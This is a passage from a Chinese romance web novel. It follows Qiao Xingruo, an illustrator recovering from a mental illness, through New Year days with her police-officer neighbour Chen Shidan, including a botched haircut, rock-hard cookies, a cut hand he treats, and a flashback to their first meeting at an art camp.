他将声音压得低沉,加上气势中有职业自带的凌厉,吓得乔星若还以为他要打妹妹。
陈时云呜呜两声,挣扎无果后,无辜眨眨眼。
那小模样可怜巴巴的,乔星若看得心软,连忙帮忙劝和。
“师哥,要不算了吧……小孩子开玩笑乱说的,我知道你……不是那种人。”
陈时澹僵硬松开手:“……我没想打她。”
乔星若没说话,但眼神中透着的犹疑说明了一切。
陈时云趁机溜开,仗着有人替她说话,躲到乔星若身后,吐舌扮鬼脸:“对,哥哥就是要打我,我要回去告诉妈妈!”
陈时澹:“……”
盯着陈时云吃完最后一个小蛋糕,陈时澹毫不犹豫拎着她连人带包赶出门。
送陈时云回去之前,他看着状态表面无异常的乔星若,还是有点不太放心。
乔星若笑了笑:“我真的没事了,我先带着咪咪回去了,今天谢谢你们的款待。”
陈时澹微微颔首:“行,那你有什么事给我打电话。”
“好。”
“……”
回到家中,乔星若给乔咪咪添好粮和水,回了卧室。
她下意识来到床头柜前,伸手拉开最上面一层的抽屉。
看了眼很多天没再服用的药,欲要拿起其中一瓶时,她像是反应过来般,猛地顿住动作。
几秒后,她屏气关上抽屉,仿佛用了很大的决心。
她已经停药了。
明明很快就会好起来了。
她不能前功尽弃。
乔星若深深吸了口气,随手挽起及腰的长发,用鲨鱼夹夹起来。
松松散散的碎发溜到颈肩和耳边,还有一小缕翘着。
看着清爽了很多,多了几分精神气。
她看着小镜子里的自己,努力将注意力转移到别的小事情上。
比如考虑着下次去看心理医生回来,得顺便剪一下头发。
太长的头发干得慢,她不喜欢用吹风机,日常打理也很麻烦。
元旦假期对乔星若来说和平常日子没什么区别,还是要努力工作。
可能是熬夜多了,大数据懂她,某书上经常给她推一些熬夜危害、猝死之类的视频,搞的她心惊胆战的。
所以她最近作息也有意识地慢慢调整了,大多是在白天工作。
乔星若打开手机,看到了夏然给她发的节日祝福。简单回复完,抱着平板拱进暖和的被窝里,沉浸式画画。
平板是配有
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原装手写笔的,但乔星若比较喜欢指绘。
每一笔都经过自己稳稳掌控的感觉很踏实,唯一不太好的一点是,时间长了手指有点疼。
而且发病手抖的时候,线条画的也不稳。
不知不觉天色暗下来,乔星若还沉浸在工作中。
因为中午和下午之间的时间段里在隔壁吃了很多,晚饭时间没有觉得饿。
她也懒得动了,一直保持一个姿势,跟开了省电模式一样。
再次看手机已经是晚上八点多,屏幕又跳出来了夏然的未读消息。
夏然(夏熙弟弟):星若姐,今晚要不要一起去希明广场过节呀?听说有活动,挺热闹的。
夏然发来的消息时间是在乔星若最后一条回复的后几分钟,但是她没及时看到,现在已经过去好几个小时了。
想了一下,乔星若缓缓敲字:不好意思啊弟弟,我刚才没看手机,现在才看到。
对方秒回:啊没关系的,那星若姐你现在要不要出来玩?我可以去接你,结束之后也可以送你回来。
敲星惹:不了,太晚了,我要休息了。
夏然(夏熙弟弟):好吧,那你好好休息吧,元旦快乐呀。
结束聊天后,乔星若随手翻了一下绿泡泡。
给她发祝福的人还挺多的,几乎都是大学同学,还有一两个离职前跟她关系还算好的同事。不过大多数看着像群发。
她挨个回复。其中还看到了许久没联系的江嘉明。
他们不算很熟,没想到他会给自己发节日祝福。前面还带了她的名字,能看出来不是群发的。
她给对方回了句“同乐”,便没了下文。
比较熟悉的人里面,乔星若好像就跟隔壁的人没有互道祝福。
她和陈时澹很少在线上联系,不知不觉他的头像已经沉到了最底下。
头像还是那个手绘橙子,旁边标注着“傻云作”。
乔星若点进和他的聊天框里,犹豫着发了句“元旦快乐”。
估计对方也以为她是群发的,不显刻意。
嗯,很好。
乔星若等了两秒,百无聊赖地往下划了一下,翻看前面的聊天记录。
对方一直没回她,可能是没看到。
陈时澹在消息跳出来的那一刻就看到了,扯了扯唇。
电话那头的声音疑惑:“哎,澹哥你笑啥呢?”
“我笑了吗?”
“昂,我都听见声儿了。”
“你听错了,挂了。”
“……”
陈时澹从沙发上起身,坐在旁边看动画片的陈时云疑惑地瞅了他一眼。
“哥哥你去哪?”
“回去了。”
刘夕梅正好端着水果出来,见他一副要离开的模样,蹙眉道:“有家不待你回哪?都多久没着家了,难得回来一趟没待几小时又要走。怎么,小舍容不下你这尊大佛了?”
陈时澹有些无奈:“没有,我明天还要上班呢,回那边过夜方便点,不用赶。”
“走走走,看着你就烦。”刘夕梅不耐烦摆手,嘴里还絮叨着,“当初就不该同意你当警察,跟你爸一个德行……”
陈时澹笑了笑,带着安抚意味拍拍她的肩膀,朝门口走。
刘夕梅原本还气着,陈时云忽然凑近她:“妈妈,哥哥肯定是回去陪若若姐姐啦。”
“?不太好吧?”
儿子难不成是要给人当小三了?
17. 感觉
陈时澹回到繁花苑,将车停好上楼。
进门之后,他径自往卧室的方向走。
乔星若正在跟许敏打电话,忽然听到阳台外发出一声不轻不重的闷响。
她说话的声音一顿。
许敏:“若若,怎么了?”
乔星若回过神,舔着唇说没什么,可能是阳台的衣服掉了。
“……我过去看看,先挂啦。”
挂断电话后,乔星若胡乱穿上拖鞋下床,来到阳台门前,小心翼翼拉开窗帘的一条缝隙。
乍一看,什么都没有。
乔星若严谨扫视着外面,发现在靠近隔壁阳台的角落里多了一团东西。借着余光,她看清了地上的东西,是一个纸团。
隔壁的阳台门大开着,阳台灯也开着,暖光明亮。
莫名的安全感,让乔星若放松了点警惕。她缓缓把门锁打开,将门拉开了十几厘米。
室外的风声在耳边响起,带着寒冷的温度朝她袭来,她不禁打了个寒颤。
乔星若紧紧扒着门框,探出半个身子去捡纸团。
不远处传来一声闷笑。
乔星若下意识抬头,看到陈时澹抱着臂,倚在他自己家的门框,好整以暇地看着她。
陈时澹轻轻扬眉:“鬼鬼祟祟的干嘛呢?”
不用想,就知道纸团是这人扔的了。
乔星若捡起来,想问他干嘛乱扔垃圾。
可展开纸团,看到里面包着糖,纸上写着“新年快乐,乔星星”。
字迹潦草随意却不失美感,字体瘦长,带着利落的笔锋。
乔星若盯着这行字,将嘴边的话改成“你干嘛乱扔祝福”。
陈时澹沉默两秒,别过脸勾起唇,微微弓着腰,细碎的气息随着胸腔起伏。
“第一次听人这么说,祝福也能算乱扔啊,你这人还挺有意思。”
“那扔给你了,你接不接?”
听到他的笑声,乔星若心情莫名好,也不计较他把她的名字写错成“星星”了。
“接。”乔星若弯起眼睛,露出浅浅的梨涡,“谢谢你。”
“你也新年快乐。”
希望新的一年,一切都好起来。
—
新的一年的日子其实也没什么变化,但乔星若在给自己的洗脑式心理暗示下,竟也有活人感了些。
至少自己的目标出现了变化,从微活变生活。
在不算早的时间吃完早餐后,乔星若去小区附近的超市买了点蔬菜水果,还有做饼干的食材。
前两天网购的一个烤箱到了,她想试试做烘焙。
回来路上遇到一家发廊,乔星若在门口停下脚步。
想起昨晚的决定,是要在看心理医生那天剪头发。
但现在来都来了,就顺便剪一下吧。
乔星若鼻间“嗯”了一声,若有所思地走了进去。
店里的人不多,有个小哥看到她进来,热情地上前招待:“欢迎光临,小姐姐是剪头发吗?”
乔星若点头。
“那您跟我过来吧。”
坐下之后,小哥给她戴上围布,问她想剪什么样的。
“剪短一些就好。”
小哥用两根食指夹住她的一缕头发:“到这里可以吧?”
乔星若思索两秒:“可以。”
“好嘞。”小哥的手指不动声色往上一挪,剪刀位置落在手指之上,咔嚓一声。
乔星若:“?”
随着剪刀的起起落落,乔星若听见了自己的心一点点碎裂的声音。
剪头发期间,小哥还拉着乔她不停地聊天,上到工作生活,下到晚上几点睡是不是经常熬夜。
间断不到两秒又是一个新问题,好像不说话老板就会扣他工资似的。
到后面都给她这么一个社恐给聊懵了。
乔星若全程绷着脸,看着自己的一头青丝少了大半。
再短点,自己就要在理发店发癫了。
“怎么样,还不错吧?”身后的人通过镜子看她,声音还挺得意,“我刚学两周,没想到还挺有天赋的。”
其实,真不咋样。
巨丑。
她想问问这小哥审美可还行。
“还……行?”
看他对自己杰作这么满意,又是个满怀希望的初生牛犊,乔星若没好意思说实话,暗自叹了口气。
算了,就当是新的一年从“头”开始吧。
虽然只是安慰自己不让眼泪掉下来的话罢了……
付款的时候,小哥有点不好意思挠挠头:“说起来你可能不信,其实我是个社恐。”
乔星若:???
要不要听听自己在说什么。
他是社恐,那她是?
小哥似乎看出来乔星若在想什么,轻咳了一声:“哎呀其实是我们老板要求的,要跟顾客聊天,显得我们店生意好。”
乔星若心情有亿点复杂,干巴巴“哦”了一声,提着自己的东西离开。
回到小区,坐电梯上楼。
门开的瞬间,乔星若抬眼看到倚在墙边看手机的男人,不由愣了一下。
陈时澹听到动静回头瞥了一眼,视线立即被她的头发吸引过去。
莫名想找点话聊聊。
陈时澹的语气真诚:“你回来路上遇到狗了?”
乔星若:“?”
她没听懂。
陈时澹眼眸里带了点笑意,言简意赅道:“新发型不错。”
“……”这回听懂了,他在挑衅她。
结合上一句,意思是她的头发像是被狗啃了!
乔星若没忍住,瞪了他一眼。
回来路上好不容易哄好自己,听他这么一说又想买块豆腐撞死自己了。
“开玩笑的,挺好看。”陈时澹收起手机,朝她走了过来,“刚要给你打电话问你在不在家,我回来取件东西,钥匙落在局里了。”
乔星若不理解:“为什么找我,我们的钥匙应该不是一样的吧?”
“对啊,但是我可以从你家阳台翻回去。”
陈时澹的神情不像是在开玩笑,乔星若都不知道咋拒绝。
感觉拒绝的话说出口,好像是在不配合人家警察工作。
“那……你过来吧。”乔星若犹豫地掏出钥匙开门,捏着斜挎包上的带子,乖乖侧身到门框边上给他让位置,“你直接进就好。”
话虽如此,陈时澹进屋前还是拖鞋了,拎着鞋进去。
乔星若暗暗松了口气。
感激涕零啊,省得她扫地了。
来到乔星若的卧室,陈时澹想起晚上经常听到的那个声音,没敢乱看。
他快速走到阳台,手臂一撑,抓着栏杆翻了过去
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。
中途不小心露出的腹部,让乔星若有些恍神,没舍得移开视线。
陈时澹对她这副模样不算陌生了,甚至有点麻木的妥协。
他面无表情道:“我能把你的眼睛戳瞎吗?”
乔星若舔了舔唇:“我这叫观察人体,说明我有学习精神,也是对师哥你的一种赞赏。”
陈时澹又被她的厚脸皮气笑:“怎?等我哪天有空了需要给你当模特吗。”
乔星若犹豫了,眼神飘忽:“不、不太好吧?”
“你还真敢想。”陈时澹抬手,毫不留情地给了她额头一指蹦,“想得美,梦里也不准想。”
他不再跟她扯皮,转身拉开阳台门进屋。
留下乔星若站在原地,吃痛捂着额头。
她斟酌了一下他最后一句话,有些心虚。
她梦里还真想了……
也不敢说,之前做梦被抓包之后,她一个人发呆时总是不自觉浮现他的身材和脸,搞得她反应有点大。
人心惶惶,哎。
得洗脑子了。
乔星若觉得事实上,她对陈时澹也算是有感觉吧,而且疑似生理性喜欢。
在以往,她从未对别人出现过这种感觉。认识陈时澹之后,她才发现自己是个大色鬼。
但是她也不确定这能不能定义成爱情含义的喜欢,也许更多的只是暂时性的欲望。
胡思乱想之际,陈时澹也取完东西出来了。
“谢了。”他撑着栏杆重新翻了回来。
乔星若两只手背在身后,食指纠缠着,呐呐回答“不客气”。
—
陈时澹回分局后,乔星若也开始忙自己的事情。
她在小破站搜索做饼干的美食up主,特意找了个声音超级好听的男生。
要做的是可爱的猫猫头饼干。
步骤看着似乎也不难:软化黄油,打发蓬松,加入适量的蛋液、面粉、奶粉按压揉匀。
然后就是用不同的果蔬给面团调色,对于色感上乘的她来说再简单不过。
后面的步骤是将冷藏好的面团擀成薄片。
不同颜色的面团混在一起擀,这样就能用模具印出一个个独一无二的小花猫。
她摆完一盘,放进烤箱里。
乔星若每做一步都要洗一下手,所以厨房看着也没多灾难,厨余垃圾桶里堆满了纸巾团。
烤到时间后,乔星若将饼干取出来。
看着那些有些发黑的小猫饼干,她有些纳闷,为什么跟up主视频里的颜色不太一样。
是因为视频加了滤镜的原因吗?
但不管了,应该也还能补救。
后面也是她的拿手活:用色素笔给小猫勾上表情。
超级可爱的小猫饼干就此诞生。
卖相还是不错的,她兴致勃勃拍了很多照片,挑了几张发朋友圈。
文案——新技能get:做饼干。
不过一会儿,便陆陆续续有人点赞了,还有评论。
——高冷小美女居然发朋友圈啦?
——可以喔,深藏不露呀。
——蹲教程蹲地址!
——猫猫好阔爱~看着好有食欲啊,是巧克力味的吗?
看到这条,乔星若沉默片刻,面不改色回了个带腮红的微笑。
尴尬,哪来的巧克力。
18. 模特
乔景元也评论了“姐姐姐求投喂”。
夏然:求投+1【表情/馋】
夏熙:求投+2【表情/馋】
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看了一会儿评论区,乔星若被他们夸得心情飘飘然。当即决定送一些给关系好的人。
她准备退出朋友圈时,最上面正好刷新了一个新点赞,是陈时澹的头像。
想到吃过好几次他做的东西,礼尚往来也要给隔壁送一点。
乔星若用独立的食品级小袋子包装好,全部放进旁边的空盘子里。
清理完战场,她拆了一个,准备尝一下味道。
饼干有淡淡的黄油味,空气中弥漫着香甜浓郁的气息。一口咬下去……
硌、牙。
僵硬两秒,乔星若用舌尖试探了一下她的牙还在不在。
幸好牙口好,不至于咬一下饼干就废了,但也缓了好一会儿。
乔星若看着饼干上那个浅浅的牙印,皱了皱眉。
还以为自己点亮了烘焙这块领域,没想到翻车翻的如此惨淡。
主打一个干净、卫生、难吃。
沉默盯着一整盘饼干,乔星若雀跃的心情跌入谷底,有点不知道该拿它们怎么办了。
不得不承认,垃圾桶才是它们的归宿。
小饼干烤制失败,自然是不敢往隔壁送了,可她没想到陈时澹会不请自来。
通过猫眼看到陈时澹时,乔星若慌里慌张找了顶帽子戴上,遮住了奇丑无比的头发,才过去打开门。
在外忙活了一天,陈时澹的脸上出现疲惫之色,扫了眼她头顶上的鸭舌帽。
他没问什么,视线落到她仰起来看他的脸上,语气丝毫不见外:“饼干呢?我饿了。”
“饿了吃饭比较好。”乔星若不好意思承认自己厨艺不精,委婉提醒道。
陈时澹笑了:“这么护食?”
“也不是,你要吃也不是不行,就是可能有点难吃。”
她说的“难吃”有两个意思:不好吃,且咬不动。
陈时澹轻轻扬眉,也没拒绝,大有一种“我倒要看看有多难吃”的架势。
“那你进来吧。”乔星若把门敞开,若有所思,“你要跟我一起吃晚饭吗,我可以炒两个菜。”
小时候许敏忙,她一个人在家就得自己弄吃的,所以是会做饭的,只是味道不算很好。
可能这也是她青春期时在同龄人中看着比较瘦小的原因。
生病之后就没怎么做过饭了,都是简单应付了事。
所以现在说要炒菜,乔星若心里也没什么底。
“好。”
陈时澹答应下来,跟着她进屋,顺手将地板上的乔咪咪抱起来。
察觉到这猫重量又增了不少,他有些意外:“猫过于肥胖会增加很多病痛风险的,你不控制一下咪咪的饮食么?”
“控制啊,但它个小叛逆可聪明了,零食藏哪都能找到,还会自己咬开包装,一天好几顿的。”
乔星若说起这个就头疼,没好气睨了眼他怀里的猫崽子。
“我都害怕它哪天学会用手机,偷偷点外卖。”
陈时澹见她这样觉得好笑,随即提了个建议:“可以带咪咪下楼散散步,咱们小区挺安静的,适合给它做社会化训练。”
这事乔星若还从来没想过,毕竟她自己也不爱出门,更别提带着乔咪咪。
一时不知道谁更应该做社会化训练。
但现在为了崽的健康,好像也不是不可行。
“好,我知道了。”
乔星若打开冰箱看了一圈,决定做西红柿炒蛋和土豆丝炒肉。
备好菜后,她打开厨房的油烟机,开始做饭。
乔星若还没找回几年前的手感,行为也有些迟钝,一开始就出师不利了。
她的手背被热油崩了一下,脑子还没反应过来,手肘便下意识一缩。陶瓷盘没拿稳,摔在了地上。
“嘶——”
“怎么了?”陈时澹听到动静,快步走了进来。
“没事……”乔星若尴尬地用被烫到的手抓了下衣摆,关掉火后蹲在地上收拾碎片。
今天的手屡手重创,被油烫了的痛意还没完全消散,又被盘子碎片割出了一条道口子。
这次不是在措不及防的情况下,乔星若没被吓到,看到出血后依然神色自若地收拾着。
她很怕疼,但真疼了好像也没那么难以接受。
陈时澹看她这样不禁皱眉,来不及多想便蹲下身,擒住她的手,冷声说:“去清理一下伤口,这里我来弄。”
乔星若懵懂抬眼,有些犹疑:“可是我都弄一半了……”
陈时澹被她的话无语住了:“再弄下去割到动脉,就可以吃上医院食堂的餐了。”
他不是个爱多管闲事的人,此时心里却有些莫名的烦躁。
这个人怎么这么不会照顾自己?她家里人怎么放心她一个人独居的?
陈时澹紧抿着薄唇,擒着她的手仍没松开,拉着她起身往客厅走。
手腕上的存在感难以忽视,乔星若低头看着他们贴在一起的地方,耳朵有点红。
“家里有药箱吗?”
乔星若诚实摇头。
“等着。”
陈时澹松开她的手,回隔壁拿来了一个药箱。
本想让她自己来,但看她这对自己的事情不上心的模样,估计也不会处理的多好。
他有些窝火,轻啧了一声。
“真求你了,长点心啊。”陈时澹随手把垃圾桶放到她腿旁边,从药箱里拿出了一瓶生理盐水,“伸手。”
乔星若不明所以,但还是乖乖照做。
陈时澹垂眸,用生理盐水冲洗她的伤口表面。冲洗干净后,找了瓶碘伏打开,用棉签沾了点往伤口涂抹消毒。
碘伏是冰凉的,棉签刚碰到伤口时,乔星若下意识蜷缩了一下手指,轻轻抽了口气。
陈时澹顿了一下,手里的动作放轻了些:“弄疼了说。”
“……嗯。”
“……”
消毒完后,陈时澹拆了个创可贴给乔星若的伤口贴上。
做完这些,他迅速收回手,把东西放回药箱里。
乔星若手上还存在着不属于自己的余温,像是通过指尖传递着某种异样的讯息。
她的心跳不可控地,逐渐加快。
室内安静片刻,乔星若睫毛轻颤着,舔了下唇
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:“谢谢啊师哥,你真是个好人。”
被发了好人卡的陈时澹:“……”
他也好不到哪去,喉结滚动了一下,喉咙干涩得厉害。
不禁怀疑自己跟这人相处久了,脑回路被传染了。正常的肢体接触就一惊一乍的,莫名其妙。
察觉到气氛怪异,乔星若站起来,主动开口:“那个,菜还没炒呢,我先过去继续……”
“歇着吧,我来。”陈时澹将外套脱下放在沙发扶手上,挽起打底衣的袖子。
“……”
这顿饭的掌厨人,最后变成了陈时澹。
他没觉得有什么,但乔星若有点不好意思。这是在她的屋里,哪有让客人做饭的道理。
乔星若跟着进厨房,看有什么能帮忙的,却也只是起到了吉祥物的作用。
乔星若眼睛乱转,干巴巴找着话题。眼睛瞥到九九成新的围裙,灵光一闪:“师哥,你要穿围裙吗?”
陈时澹没多想,“嗯”了一声:“穿吧。”
乔星若将围裙取了过来,看到他手里拿着东西不方便,还非常贴心地帮他套。
陈时澹顿了顿,配合低头。
两人离得极近,乔星若强装着镇定屏息,成功套上之后,手中的动作鬼使神差地没停,帮他系后面的带子。
陈时澹被她诡异的热情搞的有点没反应过来,想起什么,他脱口而出:“等等——”
来不及阻止,身后的人已经抓住了垂在他的腰两边的带子。中途不经意碰到他的腰侧,敏感带一片酥麻。
陈时澹咬紧牙关,感觉自己被套路了。
差点忘了,某人是有前车之鉴的。
打底衣的布料很柔软,绑紧之后能将他的身材完美勾勒出来。
乔星若目不转睛盯着,心里喟叹。
咦惹。
师哥好腰。
陈时澹炒菜期间,乔星若闲来无事,便去客厅拿了画册和铅笔回来倚在门口,画了张速写。
作品里的人单是一个背影,也帅得很有张力。哪里是重点她是懂的,褶皱多的地方特意用心细化了一下。
画完之后,乔星若自顾自欣赏着,对自己的作品非常满意。
陈时澹不是不知道她在画画,回头瞥了她好几眼。
前几个小时还说她想得美,现在真给她当上模特了。
脸有点疼。
陈时澹利索炒完两个菜,端到厨房外面饭桌上。
做完这些,他终于忍不住朝她走过来。
“给我看一下。”
“不行!”乔星若察觉到他的靠近,连忙合上画册背到身后,因为心虚脊背挺得笔直,跟个新兵蛋子似的杵着。
陈时澹看出她的心虚,直觉没好事。他眼睛微眯,冷冷放狠话:“你最好没给我瞎搞什么,要是哪天被我抓到你就惨了我跟你讲。”
乔星若努力梗着脖子,红着脸否认:“我才没有!”
谁敢信她,画过某些图的人。
“你最好是。”陈时澹似笑非笑地勾着唇,拉开椅子入座,“你还杵那做什么,罚站啊?”
“……哦。”
保险起见,乔星若把画册拿回房间放好,磨蹭了一会儿才出来吃饭。
19. 初遇
小饭桌一角还放着乔星若不久前做的小饼干。她出来的时候,看到陈时澹拿着其中一个在手里把玩。
乔星若在他对面坐下,语气期待:“怎么样?我做的小饼干是不是要颜值有颜值,要味道有颜值?”
陈时澹扯了扯唇:“我还没尝。”
“那我建议你别尝。”
“哦。”陈时澹把包装拆开,往嘴里送。
下一秒,一个极为响亮的声音响起,甚至有点清脆。
这就是不听劝的后果。
乔星若怀疑他牙磕掉了。
陈时澹面无表情,用舌尖试探牙还在不在。
万幸,牙完好无损。
论一副好牙的重要性。
“你朋友圈文案诈骗吧?”陈时澹垂眸看着手里的那块不知名物品,没忍住吐槽。
他高中的时候跟几个哥们儿平时闲着没事去偷画室教学楼旁边休息区的鹅卵石,用水粉上色画水果静物,再给扔回去。
乔星若也是学美术的,想做这种事情不难。而且以她的作风,还真有可能做得出来这种事。
乔星若尴尬挠挠头,为自己找补:“反正……无毒,只是有点难啃而已啦。”
“你这有点,得是亿点。”陈时澹轻笑一声,“这玩意用来磨牙可还行。”
乔星若觉得自己被贬低了,但碍于他说的是事实,只能忍着脾气解释:“我就是按着视频步骤做的,不知道哪里出了差错。”
“做饼干用的面粉要低筋的,你用的是?”陈时澹端详着有个清晰牙印的饼干表面,厚实无气孔,没有一点蓬松的感觉。
乔星若想了一下:“不知道,超市随便买的,我以为都一样。”
“还有,发黑是因为烤箱温度太高、烤的时间太长了。”
乔星若认真记下,惦记着改天再重新做一次。
放弃是不可能的,毕竟烤箱是新买的,只做一次多亏啊。
两人一起吃完晚饭,陈时澹考虑到乔星若的手不方便沾水,回隔壁之前还帮忙洗了碗筷。
属实是没辜负好人卡,大大滴好人!
乔星若把人送到门口,锁门后回房间找了一套睡裙去洗澡。害怕弄湿创可贴,她格外注意。
二十来分钟后,乔星若仰头躺在床上,将有伤的手悬抬在眼睛之上,回忆着陈时澹给她清理伤口的画面。
男人眉眼低敛,神色专注。眉心微蹙着,虽然很可能在心里烦她,但就当他是在关心她吧。
好像还……有一点点温柔。
想起什么,乔星若侧身拿起旁边的画册,重新打开刚才最新画的那一页,指腹轻轻沿着笔触摩挲。
到某个地方时,她忽的将本子盖在自己的脸上,感觉整张脸在蒸发。
emmm师哥身材是真好……
还很帅。
所以宅家期间,真的可能会有个会养猫、一米八有钱有颜、器大活好、眼里有活爱下厨的薄肌男闯进她的家里。
当然,她不知道陈时澹多高,目测一米八五到一米九之间。
器……有幸接触过,应该不逊色于她看过的那些动作文里的男主。
剩下几点都符合。
幺幺零就不用了,人家就是警察……
也不知道是不是职业滤镜,陈时澹在她眼里,似乎总是发着光的。
一如当年初见。
重逢之前,乔星若已经有点记不清他的模样了。
再次遇到他之后,他的少年模样在她的记忆里一点一点清晰起来。
高中集训那年,是她心理问题最严重的时候。
乔星若那时所在的画室只是川海画室在羽城的一个分部,联考前的半年要到川海总部参加集训。
而总部在海城。
初到异地,乔星若丢了两百多块钱的颜料。
普通家庭学美术的孩子对需求大又不便宜的画材是很珍惜的,两百块钱的颜料用不久,但也是用大人辛苦赚的钱买来的。
实在找不回来了,乔星若不敢在教室哭,便躲到了厕所里。
借着洗脸的机会,眼泪哗哗地掉着。
几分钟后,门口传来一个懒洋洋的声音:“走错厕所了同学。”
“?”乔星若的眼泪滞住一瞬,转头跟一个男生对上视线。
她硬着头皮关水,走到门口,确认是男厕所后,两人面面相觑。
她沉默一瞬,眼泪飚的更汹涌了,喉咙里溢出难以控制的哽咽。
“?我没骂你啊。”陈时澹没什么表情的脸出现了一瞬间无措。
似乎是觉得荒唐,转而笑了一声:“你碰瓷练过的吧?”
乔星若也很想控制,可这段时间过得实在糟糕,她的情绪像是找到一个宣泄口往外倾泻,怎么也止不住。
陈时澹迅速转头扫了眼周围,目光又回到眼前的女生身上。
“你……咱先出去行不行?这里不太合适。”怕乔星若的哭声引来别人产生不必要的误会,他连厕所都不上了,从兜里翻到了颗橙子软糖塞给她。
随后牵住她的短袖一角,带她到画室教学楼的后门。
“……你跟我说说,为什么哭?”陈时澹估计也是第一次碰到这种事,语气带着生疏的耐性。
他从包里掏出了包纸巾给乔星若擦眼泪。
“呜呜我的颜料没了,整整一盒新拆的……来的时候,上车前我就丢了钱包……昨天吃饭的时候被人不小心撞到饭打翻了……”
“还有我的炭笔盒……被人不小心踩到呜呜呜……削好的笔全断了……”
陈时澹:“……”不语,只是一味地给人递纸巾。
“人怎么能倒霉成这样……我不想学了我想回家……”乔星若抽抽噎噎擦着泪,情绪肉眼可见的崩溃。
纸巾也用完了,陈时澹翻了下背包,里面只有两本专业书,肯定不能给。最后脑子一热,从裤兜里掏出了一百块钱,迟疑地递了过去。
然后,就观赏了一出川剧变脸。
乔星若的哭声定住,嘴角小幅度上扬了一下。
陈时澹:“……我怎么感觉自己被套路了。”
也只有那一秒是开心的,乔星若很快就意识到这是陌生人的钱,还给了他:“我不能拿……”
她的眼睛红通通的,有些发肿,声音里带着鼻音。
这人能愿意当她的情绪垃圾桶已经很好了,她的不幸又不是他造成的,不应该由他买单。
陈时澹无所谓地挑了
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下眉:“拿着吃饭吧,集训后面挺累的。”
乔星若很好哄的,一旦有人给她施了一点善意,她就跟好了伤疤忘了疼一样,当时多坏的情绪都能消散大半。
见她情绪稳定下来,陈时澹问她:“你叫什么名字?”
“……乔星若,乔迁的乔,星星的星,若干的若。”
“钱包丢了,还有钱吃饭吗?”
乔星若吸了吸鼻子:“有的,我手机里还有钱。”
妈妈不放心她一个人离家那么远,现金和手机的钱都给她准备了很多。
“要不要加个联系方式?你后面有什么困难可以找我。”陈时澹说着要拿出手机。
“不用了……谢谢你,我得回去上课了。”乔星若把纸巾都收拾好,弄做一团攥在手里。
“行,那你……别哭了啊。”
“……”
那天告别之后,隔了两天,生活老师拿了一套新的水粉给乔星若,说是有人让他转交的。
那套水粉,乔星若很珍惜,连色卡都保存得很仔细。即便补充装过很多次里面的水粉,但颜料盒一直都陪着她。
半年后,乔星若带着这套水粉参加了联考的色彩考试。那位仅见过一面的师哥也给了她小半年时光的色彩。
—
乔星若抱着画册来到阳台门前,悄悄拉开了一点窗帘。
隔壁的卧室灯也是亮着的,余光落到了阳台地板上。
虽然,她现在这种情况。
产生这种想法很不应该,甚至可以说是很自私,不应该去拖累别人的。
可是,可是……
她会好起来的吧。
相比半年前,她已经变得越来越好了,那天也许并不遥远。
就是忽然觉得,自己应该勇敢一些,一点点也行。
如果他想要自己负责,好像也不是不行。
负责了,就不是流氓了吧?
她总是把自己蜷缩在小小的角落里,像只满身是刺的刺猬。
第一次这么希望,自己的未来能一直有某个人的参与。
在心里说服完自己,乔星若思考着应该怎么追人。
对于这种事情,她零经验。
她只被别人追求过,但显然不能将那些人的招式用在陈时澹身上,因为他们都失败了。
哎,太难了。
一般人就已经很难了,更别提她这种在暗恋对象那里有流氓案底的,成功率0.00000001。
胡思乱想间,乔星若把自己卷进被子里,不知不觉睡了过去。
后面几天,她仍没想出追人的方式。
她是社恐,太直白的不行,会尴尬社死。
她是正经人,太流氓的不行,会被他的同事带走。
一筹莫展之际,乔星若又在某书上发了个帖子:发现自己有点喜欢邻居小哥哥怎么办?
几分钟后,帖子陆续来了评论。
——引流举报了。
——新的一年又刷到你,帖主是不是看多小说把脑子看残了?
乔星若正在阳台晾衣服,看到这条时小发雷霆地咬了下唇,险些拔了栏杆边上仙人球的一根刺。
可恶,怎么能这么揣测她。
20. 咪咪
乔星若还看到了之前那个“文豪”的账号。
——我说什么来着,别说,帖主剧情进度还挺快【表情/哭笑R】
底下一堆回复“是预言家我们有救了”。
——就二话不说亲嘴子呗,反正你摸都摸过了。
——制造见面机会啊,趁他不在家把衣服丢到他家阳台,去找他要说是风吹的,顺利进他家~【表情/狗头R】
——吊带,ls小裤子,夜里倒垃圾忘带钥匙,找他收留假装头晕站不稳,趁机扑入怀,只能帮你到这了姐妹。
——评论区这素在……玩一种很新的网络文学?
“……“乔星若只想象了一秒,便不忍直视地闭了眼。
不敢想不敢想。
——呃,如果帖主上篇帖子说的事情都是真的,现实生活中他躲着你都来不及,怎么可能喜欢你哦。
乔星若回想了一下,觉得这位薯子说的不太对。
事情当然是真的,但陈时澹好像也没有躲她。他们前几天还一起吃饭了,某种不太严谨的说法上,那天他们还牵了手。
乔星若翻遍了评论区,只看到了两条切合实际的建议:
1.蒸橙才是必杀技。
2.经营朋友圈,爱情靠吸引。
她决定践行一下。
于是,一个以往一年都不发几条朋友圈的人,在新的一年账号跟诈尸了一样,每天固定一条。
第一天文案:今天天气好好,下楼遛猫~
第二天:天气好,遛猫猫。
第三天:好无聊呀遛一下猫叭。
第四天:降温了,溜一下猫。
……
第n天:遛猫。
—
经常发朋友圈有一点不好的习惯就是,乔星若经常忍不住去关注点赞人数和陈时澹有没有给她点赞。
可惜陈时澹除了之前小饼干那条动态,就再也没有给她点过赞。
也不知道他是不经常刷朋友圈,还是单纯对她发的内容不感兴趣。
转眼过去半个多月,又到了去看心理医生的日子。
乔星若洗漱完换了身外出的衣服,坐在书桌前用气垫梳打理头发。
柔软蓬松的头发随着梳子落下,有几缕微翘的头发被梳顺,落到耳廓前。
半个多月的头发没什么变化,依然短短的,堪堪及肩上。
折叠小镜子照出她的模样。
一双无辜水汪的圆眼,唇型薄而饱满,像浅粉色的花瓣。脸有些婴儿肥,下巴尖尖的。
没有表情时外表看起来乖巧恬静,笑时的气质瞬间灵动,似深冬里引来了阵阵春风。
其实因为有建模撑着,短发的乔星若也是很好看的,甚至比长发多了几分俏皮清爽。
只是自己在镜子里第一眼看到的永远是自己的缺点,所以她觉得自己不好看。
乔星若这些天无论是溜猫还是去超市,都习惯了出门戴帽子。这次去看心理医生也不例外。
梳完头发后,乔星若拿过一旁的复古鸭舌帽,扣在了弧度饱满的后脑勺上。
换了几个角度看不出差错,她背上一个斜挎包出门。
等电梯期间,乔星若捧着手机,垂眸看昨晚江嘉明跟她的聊天记录。
江嘉明:星若,我从川海出来单干了。你现在找到工作了吗,要不要考虑一下做我的合伙人呢?
敲星惹:可是我不太懂这些……
江嘉明:没关系的,可以慢慢了解呀,明天方便见一面吗,我们详聊。
